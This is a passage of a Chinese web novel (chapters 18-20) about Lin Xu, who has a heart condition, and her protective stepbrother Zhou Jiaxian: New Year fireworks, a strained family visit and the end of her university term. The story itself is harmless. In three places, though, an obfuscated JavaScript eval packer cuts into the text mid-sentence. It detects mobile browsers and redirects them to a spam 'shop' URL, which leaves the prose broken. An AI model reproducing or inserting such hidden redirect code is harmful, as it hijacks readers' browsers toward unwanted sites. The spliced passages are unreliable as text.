林絮望着他下颌线分明的侧脸，其实也不是因为她化妆了，她哥不想她浪费才开车带她出来玩的吧，他后备箱的烟花筒都买好了，是本来就打算好了的，根本无关她化不化妆这件事。 “哥……” “嗯？怎么了？” 好半响，周嘉先没听到她的回答，余光瞥了她一眼，正好撞上她直直看着他的样子，林絮心一慌，掩饰道：“……没事……你开车别看我，专心点。” 周嘉先闷笑一声，“好。” * 到了河滨大道附近，道路的入口被围栏拦了起来，只允许行人走路进入，车子不允许行驶入内。远远望去，河滨大道上还有消防车严阵以待。 周嘉先停好车，一手抱着装烟花筒的小箱子，一手扣在林絮的肩膀上，将人往自己的身边带。 河滨大道上人实在太多了，再加上时不时有旁人的烟花炸响，他得保证妹妹小絮在他手一伸就能抓住的距离。 沿河这条堤岸很长很长，周嘉先带着林絮尽量往人少的地方走。 选了个稍显僻静的地方，他将装着烟花筒的小箱子放在地上，林絮兴致勃勃地蹲下身，打开箱子翻看着烟花筒。 “哥，我们玩这个吧……”林絮挑了个写着“鲤跃龙门”的烟花筒。 周嘉先笑着垂眸任她挑，因为他买的这些烟花筒都是安全性比较高的，他先做了功课看过烟花燃放效果的。她心脏不好，亲自点燃烟花的话，最好还是挑比较温和的那种，不能挑太响还会在空中迸射的那种。 “好……”周嘉先笑着从口袋里拿出打火机。 “我来我来！”林絮兴高采烈地从他手中夺过打火机，又将写着“鲤跃龙门”的烟花筒放在堤岸上。 “恰”的一声，火苗燃气，烟花筒的引燃线燃烧了起来，林絮开心地叫了一声，赶紧小跑着朝周嘉先的方向跑去，她一边小跑一边回头看着被点燃的引燃线，脚下一个踉跄，直接撞进了周嘉先的怀里。 “哥！” 与此同时，噼里啪啦声响起，炫彩的光束“咻咻咻”地升起，在距离地面两米多高的位置绽放光芒。 声响不大，爆发力也不太强。林絮抱着周嘉先的手臂静静看着，并没有被激烈的声音刺激到，心脏也正常跳动着，没有出现心悸的情况。 周嘉先垂眸望着她，在烟火的光芒下观察着她的脸色，见她神情都还正常，嘴角下意识带起一缕笑意，看来他口袋里准备好的降燥耳机是用不上了…… 最后一个烟花筒被点燃，林絮小跑着拽住周嘉先的手臂，提高声音的音量喊道：“哥，快，我们拍张照片……” 她双眸亮晶晶地举起手机，周嘉先神色自然地微微弯腰，下巴搁在她的头顶上，笑得眉眼温和，他们身后的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14266458|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧是燃放的绚烂烟花。 咔嚓——画面定格。 将带过来的烟花筒燃放完之后，算算时间也差不多到政府管控下的烟花秀的表演时间了，周嘉先揽着林絮的肩膀，手臂微微使了点力量带着她走，让她走着可以省点力。 上了车之后，周嘉先从车载柜子里拿出一个保温瓶递给林絮，道：“喝点糖水，补充一下体力。”这个寒假她在家里估计闷坏了，虽然他是抽出了两天时间带她在京照附近玩了玩，但烟花秀还是值得去看的。 “哦……”林絮很自然地接过来，拧开保温瓶小口小口地喝着，刚好合适的温度、刚好合适的甜度。 “半个小时后到，你先睡一会儿吧。”周嘉先探过身伸手从后排拿了张薄毛毯盖在她腿上。 “嗯……”林絮自然而然地调整了坐姿，靠着眯上了双眼。 等她醒过来的时候，刚好到了星缘大厦门口，林絮奇怪地看向车窗外，“哥，不是说去看烟花秀吗？怎么来这里了？” “星缘大厦顶楼是视野最好的地方，所以我们要上去看。”周嘉先笑着道。 星缘大厦顶楼是一间叫“云顶咖啡”的咖啡馆，咖啡馆上有观景平台，站在观景平台上正好可以看见整场烟花秀。 林絮惊讶，“啊？可是……星缘大厦顶楼要提前预约才能上的……” “已经预约好了，上去吧，别担心。” 春节来临前，京照市政府公布了烟花秀的时间和地点之后，他就提前预约了上云顶咖啡馆的名额，视野好，距离不算远不算近，有参与感又不会太挤太嘈杂，她的身体是不可能和大家一起挤着看的，再着凑得太近，烟花掉落的灰烬也会洒到身上。 周嘉先和林絮走进了云顶咖啡馆，咖啡馆内人流量较之往常大一点而已，此刻，多数客人都坐在了落地窗边喝着咖啡慢慢等着…… 周嘉先、林絮也不例外，都点了咖啡馆的招牌咖啡，但两人都没有喝，林絮不喜欢喝咖啡，喝咖啡会影响她的睡眠，而周嘉先平日里要么喝茶，要么保温杯里泡枸杞，咖啡不在他的选择中。 半响，周嘉先看了一眼时间，身旁的人都陆陆续续走上了观景台，林絮笑着道：“哥，快点，我们也去占个好位置。” “好。”周嘉先笑着点头。 绚烂闪耀的烟花仿佛永不停歇一样朝空中发射，又在空中炸开，各式各样的烟花盛景倒映在林絮的眼中，漫天垂落的烟花灰烬也带着一股颓然的美感划过空中，往下坠落。 远远地，她仿佛还能听到不远处人群的欢呼声，呐喊声，同站在观景台上的客人也都纷纷拿出手机开始拍摄，时不时发出惊叹。 林絮心底漫起一股暖流，她微微往身侧靠了靠，抱着她哥的手臂，静静地看着。 烟花的光芒闪烁着，她脸上光影绰绰，眼眸闪烁着亮色，周嘉先垂眸望了一眼，嘴角上扬，她看起来还挺开心的，开心就好啊…… “哥……” “嗯？”他垂眸望着她，“怎么了？” 漫天光影绚烂下，林絮仰头笑容灿烂，“没什么……”谢谢你，哥…… 他并不是一时心血来潮，而是什么都考虑好了，作为哥哥，只是出于一份对妹妹的责任，她在他身边就什么都不需要做，也不用担心这、害怕那，只要他在就好了…… 18. 第 18 章 - 看完烟花秀，回到家里已经很晚了。林浩、柳垂影都已经睡了，他们家并没有守岁的习惯。 周嘉先打开玄关的暖色小灯，拿了棉鞋出来放在林絮的脚边，林絮已经困得眼睛都要睁不开了，几乎是半倚靠在周嘉先的身上。 “好困……哥……” 周嘉先见她这么累，有些后悔不该任由她看完整场烟花秀，应该提前回来的，不然也不会路上堵车堵到现在。 “好了好了……我们到家了。”他低声哄着。 林絮几乎是靠着一股意志撑着在卫生间卸完了妆，回到房间倒头就睡。 周嘉先站在餐桌旁喝着温水，视线掠过她门都没关的卧室，卧室内开着小小的暖色台灯，床上的被子微微隆起，他笑了笑，将水杯洗干净放回去，又轻手轻脚地走进她的房间，将被子微微往下拉。 ……至少得把头露出来吧。周嘉先眼神无奈。 他轻手轻脚地从自己的卧室里拿出一个红包放在了她的床头柜上，看了熟睡的妹妹一眼，低声道：“新年快乐……” 昏暗中，桌面上时钟的分针咔嚓地越过了零点，新的一年到来了…… * 林絮醒来的时候，就见房间的地板上爬满了阳光，天光大亮，她下意识看了一眼时钟，都快中午十二点了，大概是昨天晚上睡得太晚了吧。 起床的时候，林絮眉心微蹙，感觉浑身没什么力气，头也有点晕，心脏还跳得有些快，她抿了抿唇，在床上坐了好半响才稍微缓了缓。 嗯？ 林絮视线落在床头柜上，诶！好厚好厚的红包啊，这都有砖头那么厚了吧！她伸手将“砖头”红包拿过来，红包都差点被挤裂开了……她不用问都知道是她哥给的。 这时，房门被敲响了，门外传来她哥的声音，“小絮，醒了吗？该起床了……” 门外的周嘉先皱着眉头，不规律的睡眠时间也会造成她身体的不适应，考虑到昨晚太晚了，他今天早上就没叫她，但若是给她再睡下去，晚上肯定睡不着，第二天又要晚起，这完全就是恶性循环。 “哥，我醒了！”林絮正数着钱……八十五张…… 周嘉先拧了下门把手，打开了房门，见她正在数钱，便笑了笑，“不用数了，八千八百。” “谢谢哥，新年快乐！” “新年快乐。”周嘉先继续道：“起来吃午饭吧，爸妈已经去上班了。” “啊？” 林絮准备掀开被子，周嘉先顿了下转过身，无奈地笑道：“对，他们去上班了，明天初二才放假。” “哦……”林絮点点头，起床去卫生间洗漱了，洗漱完兄妹俩一起吃了个午饭。 午饭过后，林絮因为早上起得晚，所以暂时睡不了午觉。 周嘉先：“要不要出去看电影？大年初一应该有贺岁片上。” 林絮窝在沙发上摇了摇头，“我不想出去，我们在家里随便找一部剧看就行吧……”她不太想出门，身体有些不舒服，但又不想说。 周嘉先自无不可，拿着遥控准备找部去年的贺岁搞笑片看，林絮低头看了一眼手机上的微信消息，起得晚一早上都没看消息了，她刚一点进去就看到置顶上的她哥的转账。 五万！！ 林絮：？？ “哥，你干嘛还转我五万块钱？” 周嘉先笑了笑，“大四下学期应该几乎没什么课了吧，你快毕业了，要是准备出来找工作实习肯定得添置东西。” “那也不需要五万块钱啊……”林絮抿着唇拒绝道。 “拿着吧……” 她拿着手机，手机页面正好是他转账的页面，周嘉先眼疾手快地点了一下。 “哥！”林絮瞪大眼睛，“爸肯定要说我的！” “那就别给爸知道就行。”周嘉先揉了揉她的发顶，“好了，看电影吧……” 林絮：…… “谢谢哥。” 回复她的是她哥眉眼弯弯的笑容。 金闪闪的阳光从阳台上透进来，屋内充满暖气，他们窝在双人沙发上看着电影。 墙上时钟的秒针咔嚓咔嚓地走动着，林絮看着看着就觉得发困了，她两眼一闭安心地睡过去了。 耳边突然少了她时不时的笑声，周家先瞥了一眼，刚好见她靠着沙发的靠背缓缓往下滑，他连忙伸手将人捞住，而她也顺势自然而然地往他身边靠着。 周嘉先苦恼了一瞬，弯下腰，手臂穿过她的膝窝，将人一把抱进了她的房间内，又将被子给她盖好。 看着她熟睡的睡颜，他低低叹了一口气，“真是一点戒备心都没有啊！” * 大年初二，走亲戚的日子。 往年这个日子，林浩就带着林絮回林家，林奶奶住在林大伯家里，而柳垂影则带着周嘉先回周家，周家这一天周嘉先的姑姑们都会回周家，一大家族的人聚在一起，非要周嘉先也过去，他们对于弟弟牺牲后的孩子也颇为照顾。 原本林浩今天是不用上班的，但他们科室今天要值班的那位医生昨天出去玩的时候不小心被烟花炸伤了手，因此林浩只能顶班了。 林浩打了个电话和林奶奶告知了临时加班的事，挂了电话之后问道：“小絮，你今天要去你大伯家，还是呆在家里？” “我呆在家里吧。”林絮低声道，她其实不喜欢去林大伯家里，因为她妈妈小时候抛弃她，林大伯看不上她妈的行为，也连带着不喜欢她妈生的她，再加上她爸为了给她治病卖了房子的事，林大伯一向不喜欢她，大概觉得是因为她，导致她爸林浩要住在柳垂影的房子里。 一个男人反而住在女人的房子里是很丢人、没本事的事情，当年她正好偷听到林大伯在背后这么说。 周嘉先闻言皱了皱眉头，有些担心。她昨天身体就不太舒服，今天自己一个人在家能行吗？ 柳垂影：“要不小絮和我们一起去周家吧？” 林絮惊讶地啊了一声，“这不合适吧？” 柳垂影：“没什么不合适的，当时嘉娜、嘉佳她们一家住在这里的时候，你们也是一起玩过的啊。” 周嘉娜、周嘉佳，周嘉先的堂妹，林絮十岁那一年她们一家换了新房子，搬离了这边的小区。 周嘉先轻轻拍了拍她的发顶，“没事，我们坐一会儿就回来了。”大过年的，他不想放她一个人在家里呆着。 “哦，那好吧……”林絮点点头。 林浩去上班了，周嘉先开着车车着柳垂影和林絮出发，周家新换的房子距他们家也不算很远，开车大概要半个小时就到了。 周嘉先将车停好，从后备箱里拿出拜年礼盒、烟酒茶，林絮忐忑地跟在他的身边，她并不是没见过周家人，只是上一次见面都是初中以前的事了。 柳垂影按了下门铃，门铃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273476|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叮咚一声，门后传来了急促的脚步声。 “垂影、嘉先来了啊……”热情而充满欢喜的声音响起，是周嫣——周嘉先父亲的大姐。 “大姑新年快乐。”周嘉先笑着道，他伸手将一旁的林絮轻轻拉了过来，“大姑，这是我妹妹小絮。” 林絮微笑着，心怀忐忑地跟着喊了一声，“大姑新年好。” 周嫣看了一眼林絮，略一思考就想起来了，这是柳垂影二婚老公带过来的女儿，听说患有先天性心脏病，还蛮严重的。 弟弟周维因公牺牲后，柳垂影痛不欲生，但过了几年，到底人死不能复生，活着的人还是要往前走，柳垂影再婚了，再婚对象是医院的同事，他们一家都祝福她，但是没想到这个同事居然是个带着先天性心脏病女儿的男人，这个男人连房子都没有，居然还住在了柳垂影婚前父母给她买的房子。 虽然不理解，但他们也都尊重了她的决定，只是柳垂影的父母早就去世，他们曾经是一家人，所以都或多或少地打听过林浩这个男人，倒也是个重情重义的，老婆跑了，自己卖房子救女儿，把女儿从鬼门关拉了回来。 “好好好，新年好。”周嫣笑了笑，“快进来吧……” 林絮局促地站在周嘉先的身旁，跟着他喊人，又默默地微笑着坐在他的身边。 柳垂影和周家姑姑们、周家婶婶、周奶奶聊着话，周爷爷、周家叔叔则和周嘉先说着话，问他工作上的事情…… 林絮忽然有些后悔跟着她哥过来了，她实在是太格格不入了。 周嘉先余光瞥了一眼沉默、脸上又挂着礼节性微笑的林絮，他不动声色地将话题引到年轻人的身上，和他的堂弟堂妹们说起了游戏。 林絮也是打游戏的，听他们说起游戏便下意识地说了几句，半响后，林絮和他们说得有来有去的，还一起打了一盘。 见状，周嘉先这才笑了笑，安心地和长辈们说着话。 打完一盘游戏后，林絮坐了一会儿后实在忍不住小声朝正在说话的周嘉先问道：“哥，你知道厕所在哪里吗？” 周嘉先眼眸一动，悄悄给她指了个方向。 林絮起身往卫生间走去，卫生间的一墙之隔是厨房，厨房外有个小小的阳台，卫生间的窗户毗邻着阳台，因此她刚好听到了周嘉娜和周家婶婶说话的声音。 “你不好意思说，那等会儿妈来说，你和嘉先是正儿八经的堂兄妹，他都开律所了，底下那么多个律师，多你一个不算啥，怎么就去不得了啊？” “妈，我法考都没过，是不能挂实习证的！” “咱有关系啊，怎么就不能挂实习证了，也不用实习了，直接让你哥招你进去，正式工！” “妈你根本就不懂，别瞎说行不行啊，再说了，咱有什么关系啊！我和堂哥现在都不熟啊！人家有自己的妹妹。”周嘉娜觉得和她妈完全就讲不通，她妈总有一套她自己的思维逻辑。 “什么妹妹，你才是嘉先的妹妹，亲的、有血缘关系的！林家那女娃子就一个继妹而已。我可跟你说啊，你自己不会来事，将来你哥有好处也落不到你身上！多学学林家那女娃子，你看你哥对她，明眼人一看就知道他疼这个妹妹。”周家婶婶语气颇为恨铁不成钢。 林絮闻言，眼帘微垂，遮住了眼底复杂的情绪，是啊，明眼人一看就知道他哥是真心疼她的，但她却偏生将这种感情擅自扭曲了。 …… 19. 第 19 章 - 周嘉娜脸一拉，嚷嚷了一句“妈，我和你根本就说不通”，然后转身跑出了厨房。 她知道她妈的德性，她再怎么阻止，她都一定不会听的，为了避免等会儿的尴尬情形，她准备去房间里躲一躲，假装她不知道她妈说的话。 洗完手的林絮抿了下唇，拿着张纸巾一边擦手一边走出来，她抬眸迎面撞上了正准备去房间里躲一躲的周嘉娜。 四目相对，周嘉娜嘴角顿了片刻，林絮在厕所？那……刚才她和她妈在厨房阳台讲的话她肯定都听到了…… 林絮礼貌性地朝她笑了笑，绕过她去了客厅。 周嘉娜深呼了一口气，心情复杂地回了房间，房间的桌面上摆放着一个相框，相框里的照片哪怕塑了胶却依旧微微泛黄。 她看着照片上的七个小孩子，她、她妹妹周嘉佳，两个亲哥哥，两个表姐，还有堂哥周嘉先，这张照片是大伯还未牺牲的时候拍的照片，所以上面并没有林絮。 小时候她堂哥周嘉先作为家族里最大的孩子，身后总是跟着一堆“跟屁虫”，大伯过世后，她堂哥小小年纪变得更加早熟了，长辈们忙的时候都是他带着他们玩，照顾他们。 后来婶婶二婚了，林絮来了，堂哥明显更加偏爱林絮，小时候的她不服气总是欺负林絮，因为偷听到长辈说林絮有很严重的病大概活不长时，她在林絮面前也学着大人说这样的话，屡屡把林絮气得眼眶发红。 后来有一次被她堂哥听见了，她堂哥严肃地教育了她一顿，生平第一次被他教训，她更加不服气了，屡屡故意气哭林絮，从那之后，她就更加明显地感觉到堂哥离他们越来越远。 其实现在长大了，她完全能够理解为什么她堂哥更加偏爱林絮，其实只是因为林絮当时是最小的孩子，身体又不好，她堂哥向来是个靠谱又有责任感的人，是她自己把堂哥越推越远。 林絮比她小了一届，她在京大校道上也曾远远地看见过她，为了避免和她撞上，不得不打招呼，她都远远地避开了，她很尴尬也很愧疚，林絮患先天性心脏病已经很不幸了，她偏偏故意以此来打击她，说话刺激她，简直就是言语霸凌…… * 林絮回到客厅时，发现周家婶婶坐在了她原先的位置上，手拍着她哥的胳膊，一脸带笑地说着话，“娜娜找到的律所都不靠谱，钱少事多又离得远，我就和她说啊，干脆去你哥的律所就好了，有你哥在，怎么也不会有老员工仗着资历深使唤她、欺负她的。” “有人欺负娜娜吗？”周嘉先皱了下眉头，刚进律所当助理，肯定是杂七杂八的活都得干，他当时也是这么过来的，但……若真是欺负，那可就不一样了…… 他们说着话，林絮尴尬地站着，客厅里已经没有位置可以坐人了。 周嘉先说着话，余光瞥了她一眼，伸出手握住她的胳膊，将人拉到自己的身边，又调整了一下坐姿，让她坐在自己的身边，虽然有点挤，但好歹不至于让她尴尬地站着。 周家婶婶见状，悄悄撇了下嘴，想起很久之前的事…… 那时她们家还没搬离那个老小区，娜娜和那丫头玩着玩着开始抢玩具，要她说啊，那玩具那丫头玩了那么久了，肯定得轮到她家娜娜了，可偏生那丫头是个贪心的，就不愿意给，还说什么那是嘉先的。 嘉先都那么大了，早就不玩玩具了，那丫头小小年纪借口那么多。 当时她可看不惯了，又到底是个大人了，不好意思动手拿过来，便道：“你都玩那么久了，该轮到娜娜了，乖孩子才有人喜欢，快拿出来给娜娜玩一下，不然大家就不喜欢你了……” “婶婶，这是我给小絮的，那是她的玩具了，她不给，娜娜就玩别的吧。” 一想起这句话，周家婶婶就气得不行，林絮那丫头还没来的时候，娜娜要什么东西嘉先会不给？ 现在她看着坐在嘉先身旁的林絮，心里非常不高兴，她正说着娜娜工作的事情呢，这丫头要是像小时候那样没点眼色，可就别怪她说话不客气了啊！ “唉呀，就是老是让娜娜做一些帮忙买饭买水、收拾办公室、洗洗茶具的事情，你说说娜娜好歹也是个大学生，这些事找个保洁干不就成了吗？她干这些事都没机会接触客户什么的！” “依我看啊，就是这些老员工没点气度……” 周嘉先笑了笑道：“婶婶，娜娜接下来还要继续考法考吗？如果还要的话，我是建议她在家全心全意备考，一边在律师上班一边备考不大可能，首先时间上就不够。” 周家婶婶露出为难的神情，“她都考过两次了都没过，可以不考就去律所上班吗？去你律所就好，咱自家人过不过法考也没什么关系吧！” “可以是可以的，但是……”周嘉先拧了拧眉心，想着应该怎么说比较好让对方理解，“是这样的，婶婶，如果要当律师的话一定要过这个考试。” 周家婶婶皱眉：“怎么就……” “你没证，人家肯定觉得你不靠谱，才不会找你打官司呢，赚不到钱的，还是备考先吧。”林絮直接道，说完她非常有“眼色”地往她哥身后躲。 其实她不想开口的，但是想要不过法考然后又可以正常接案源？这……明显就是不可能的啊，这不是在为难她哥嘛！再说了，那公司也不是她哥一人的一言堂，还有陈恕哥呢！ “大人说话，你小孩子多什么嘴！”周家婶婶顿时气急，这丫头是不是又见不得她家娜娜好了？ 林絮伸手偷偷揪了揪她哥的衣服，闭上了嘴，周嘉先皱了下眉头，安抚地拍了拍她的手背，继续道：“婶婶，备考和工作还是得二选其一，人的精力是有限的，娜娜要想以后走得更远，这个证是一定得考的……” 他们的说话声大了点，旁边的周爷爷、周奶奶、周家叔叔和姑姑们都看了过来，与此同时偷偷打开了门缝偷听说话的周嘉娜也坐不住了，赶紧跑出去道：“哥，你别听我妈的，她根本就不懂，我都和她讲不通……” “娜娜你说什么呢？妈不是为你好吗？你……” “哎呀！”周嘉娜生气地跺了跺脚，“妈你别说了……” 周爷爷手拐用力敲了敲地面，发出砰砰的声响，“别吵了，大过年的，吵什么呢！娜娜你以后有什么不懂的问你哥去。”他说完后又看向周家婶婶，“你才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290106|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读几个书啊，别理年轻人读书的事，让娜娜问嘉先就好。” 在周爷爷眼里，不用参加高考就能保送了全国顶尖学府华大的周嘉先自然说话是最有份量的。 周爷爷一说话，其他人都不敢再说什么了，周嘉先笑了笑，朝周嘉娜道：“娜娜，有什么事找哥。哥能帮的一定帮。” 他这话一说，周家婶婶的脸色才终于好看了一些。 众人说好话的说好话，打圆场的打圆场，气氛终于又和谐了…… 周嘉先、柳垂影拒绝了周家中午一起吃饭的邀请，只说林浩去值班了，中午要回家吃饭，柳垂影得回家做饭，周家人也不好强求了，毕竟人家柳垂影都已经二婚了，带孩子回来周家给他们看看，已经是做足了礼节。 回家做饭这事倒也不是借口，柳垂影、周嘉先再加上一个硬要挤进厨房打下手的林絮，他们很快就做好了午饭。 柳垂影盛出来一些，放在饭盒里，快速吃完午饭之后又去给林浩送饭了。 周嘉先正洗着碗呢，便听见身后犹犹豫豫的脚步声，他停下手来，侧着上半身朝林絮笑着道：“怎么了？” “哥，刚刚在周家，我是不是不该那么冲动啊？”林絮抿了下唇，低垂着眼帘。 周嘉先下意识想揉一揉她的发顶，抬起手的时候才意识到自己手上全是泡沫，他无奈地笑了笑，眼神温和，“你也没说错啊，别想太多，有些话就是得直说，刚才要不是你，哥都得苦恼要怎么让婶婶理解过法考的必要性呢！” ”可是……” 周嘉先打断她的话，“好了，没什么可是。哥要洗碗了，快去吃药，我等会儿要出来检查的。” 林絮：…… 吃药……她果断转身就走。 周嘉先忍俊不禁，料想这下她应该没心思想杂七杂八的事了，却没成想他才刚准备继续洗碗，她幽幽地从厨房门口探出头来。 “哥……” 周嘉先微笑、眼神问询：？ “哥，你有好多个弟弟妹妹啊……”林絮眨了眨眼。 周嘉先：“嗯？” 林絮：“但是我只有你一个哥哥……” 周嘉先忍不住眉眼笑得温润，示意她继续往下说。 “所以，哥……”林絮犹豫道：“你最喜欢我的，是不是啊？” 这种小孩子攀比的心理，周嘉先实在心软，又想逗逗她，便故意道：“哦？还真不是哦！” 林絮闻言瞪大眼睛，意料之外的答案，她一锤定音、强调道：“就是！一定是！” “就是？那你说说你是怎么得出这个结论的？”周嘉先好整以暇。 林絮哼笑了一声，一向苍白的脸色忽然神采飞扬起来，“哥，我刚才可看见了，你给他们的红包只有这么薄！”她用食指和拇指捏出一段小小的距离。 周嘉先到底忍不住笑了，装得煞有其事道：“那小絮不能说出去哦，不然大家该说哥厚此薄彼了。” “好，我不会说的！”林絮歪了歪头，眼眸闪亮，“我就说嘛，我是哥厚此薄彼里的厚！” 周嘉先拉长了尾音，笑着承认了，“是——” 20. 第 20 章 - 年节一过，返工的大浪潮开始了，京照市再次经过了一段道路拥堵的时间段，接着这座城市慢慢回到往日运行的正轨上。 这一切，林絮这个家里宅的并没有多深的感受，对于她来说，变化也只是林浩、柳垂影、周嘉先早上上班的时间更早了，晚上下班回家的时间变晚了。 年后，林絮在家呆了十多天后就得返校了，返校的这一天按照惯例依旧是周嘉先开车送她去京大，帮着她将行李扛上四楼。 周嘉先站在林絮宿舍门口，小声道：“哥帮你收拾床铺吧？” “……真不用了，哥！我又不是三岁小孩，这些事我都能自己做的。”林絮抿了下唇，继续道：“你别担心了，爬上爬下我都会小心的。” 周嘉先闻言点了点头，小絮宿舍是上床下桌，他担心的也是这个，既然她都说了，他也不好再固执地想要事事亲力亲为，“那行，我进你宿舍确实也不太好。” “就是就是！！哥，你快上班去吧！”林絮轻轻推搡着他。 周嘉先又气又笑，“用得着我的时候就招招手，用不着我了就这么急着推我离开啊？你小没良心的。” 林絮尴尬、眼神飘忽起来……她就是怕，怕……她哥老是想请她舍友们一起吃顿饭，让她们新学期也稍微照顾一下她。 其实这本身不是什么事，但她就是没有信心能在陈瑶和魏桔面前遮掩住她对他哥的心思。 果不其然，周嘉先忽然想到什么，正想开口时，林絮眼疾手快地推着他的后腰，道：“哥，路上小心，我和舍友们要收拾宿舍了！” “好，我就走了。你好好照顾自己，有事给哥打电话。”周嘉先忍不住叮嘱道。 “知道了——” 林絮转身走进宿舍时神情还带着微笑的余韵，朱玲玲边擦着桌子边打量着林絮，笑着道：“林絮，你哥怎么没进来，往年他都要给你擦床擦桌子的啊？” 林絮仿佛被噎了一下，她最想防备的就是朱玲玲了，因为只有她和她是一样有哥哥的，所以她估摸着最容易看出不对劲的人就是她了。 魏桔和陈瑶因为都是独生女，所以她们有时候只以为这是关系很好的兄妹之间的互动。 “我让他回去了，律所里比较忙。”林絮找了个借口道。 朱玲玲点点头，“哦……这样啊！” 话题似乎就这么过去了？林絮狐疑地撇了一眼舍友朱玲玲，见她不再谈起，心底便松了一口气。 林絮几人收拾完宿舍之后结伴去食堂吃饭，食堂一如既往地热闹喧嚣，几人吃了饭之后又回了宿舍，魏桔望着稍显空荡的宿舍楼，叹了口气，“时间过得好快，我们差不多都要毕业了。” 陈瑶点了点头，靠着桌子，“是啊，感觉食堂和我们宿舍楼真的差别好明显啊，现在食堂的大部队都是师弟师妹们了。” “话说，我们这学期的课好像才一周两节吧，而且也只上到第九周就没了，你们都找好实习的工作了吗？”朱玲玲道。 林絮抿着唇听着她们讲着实习的事情，朱玲玲已经找到了县级的气象局进去当实习生，魏桔和陈瑶一起去了京照机场。 “工资低到你们都不敢想象，1500！你们敢想吗？1500在京照估计得饿死，所以前期我爸妈还是会给生活费的……” “唉……” 几人唉声叹气一番之后忽然朝林絮看过来，陈瑶皱了皱眉，“林絮，你呢？你怎么不说话啊？” 林絮眼帘微垂，她完全不知道她能做什么……没有哪一家企业会要一个定时炸弹一样的员工，她摇了摇头，“我还没想好呢，先上着课吧……” “也是，反正也不着急，你哥赚的钱都够养十个、百个你了。”朱玲玲笑着道。 林絮她哥是“金颂律师事务所”的老板之一，她们都是知道的，金颂律师事务所是京照市除去联合律所之后的第二大律所，每年接手的案子那么多，想来赚的应该也不少。 林絮闻言脸上下意识微笑着，实则心里吓了一跳，指尖微微攥紧，为什么玲玲要说他哥赚的钱养她，是不是她看出什么了？！ 她心惊胆战好一会儿，见朱玲玲又说起了别的话题，仿佛刚才那句话只是随口一说，她提着的那口气才终于松了下来。 …… 14栋是大四女生宿舍，因为多数专业已经没有课需要上了，所以很多学生都直接搬出了宿舍，搬到了工作单位附近的出租房或者公司提供的宿舍，因此14栋随着时间越来越接近6月份就越冷清了下来…… 寒冬慢慢过去，燥热的夏季疏忽间到来了。 林絮手肘支在阳台的围栏上，手掌心撑着下巴，她望着窗外耀眼的阳光发着呆，耳边是夏季聒噪的知了声，热烘烘的夏风吹起她的发梢，她缓缓转身往身后看。 宿舍床帘随着热风吹起，与记忆中不同的是，如今她看到的却是三张床板。 九周之后，学校的课都上完了，朱玲玲、陈瑶、魏桔都离开学校住在了单位、公司附近，从第九周之后她就自己一个人住在宿舍了，没课上、没班上，躺了一天又一天。 她也不想回家，她真的好废好废啊…… 父母要是知道她找不到工作，肯定又想着让她去她哥公司里上班，可她就是不想去…… “叩叩叩——” 宿舍门忽然被敲响，林絮愣了一下，谁啊？14栋都没住几个人了，会有谁来她宿舍找人啊？要不是现在是大中午，再加上宿管阿姨一直都在的，她得吓得撅过去…… “谁啊？”林絮应了一声，走过去开门，一股熟悉的冷香味清浅地萦绕在鼻尖，她还未抬眸，心里便意识到门外的人是谁了。 果不其然，熟悉的掌心温度覆盖在她的发顶上，她听见他温润柔和的声音，“小絮，学校的课都上完了，怎么不回家？” 周嘉先眉心微微皱起，不久前他接到了小絮专业的辅导员的电话，说她们宿舍的女生都已经搬离了宿舍，她们专业也结课了，但是他家小絮还一个人呆在宿舍里，辅导员生怕她一个人住着，万一出什么事谁都不知道，造成了什么严重的后果便打了电话给他。 谢过辅导员的关照之后，他就开车直接过来了。 说话间，他从她的头顶望进去，确实宿舍里已经搬空了一大半，他皱紧眉头，不止这样，他从楼下走上来时，也发现这栋宿舍楼没多少人了。 林絮抿了下唇，垂头低声道：“哥……”她期期艾艾，拉长了喊她的尾音，语气里有她自己都没察觉到的委屈、依赖。 她宿舍里没其女生了，周嘉先这会儿也不用避讳了，便伸手揽着她的肩膀带着她往宿舍里走进去。 时值五月多，京照市午间的气温也颇高。她宿舍内开着空调，较为凉爽。 周嘉先拖过她的椅子坐下，林絮便没有椅子可以坐了，舍友们的椅子太久没用，已经积压了灰尘，于是她直接坐在了桌子上，双腿垂下来一晃一晃地，她低着头不知道该怎么说才好。 “怎么不回家，哥每天和你视频，你居然瞒了那么久？自己一个人呆在宿舍做什么？”周嘉先皱着眉头，语气却还是一贯地温和。 “我找工作……”林絮小声道，她完全不敢看向他。 周嘉先拧了拧眉心，“找工作也可以回家找，我们家在市中心不是更方便你找工作吗？再说了……找工作也不是一时之事，住家里更舒服一些是不是？” “哥帮你收拾行李，我们先回家吧？行吗？” 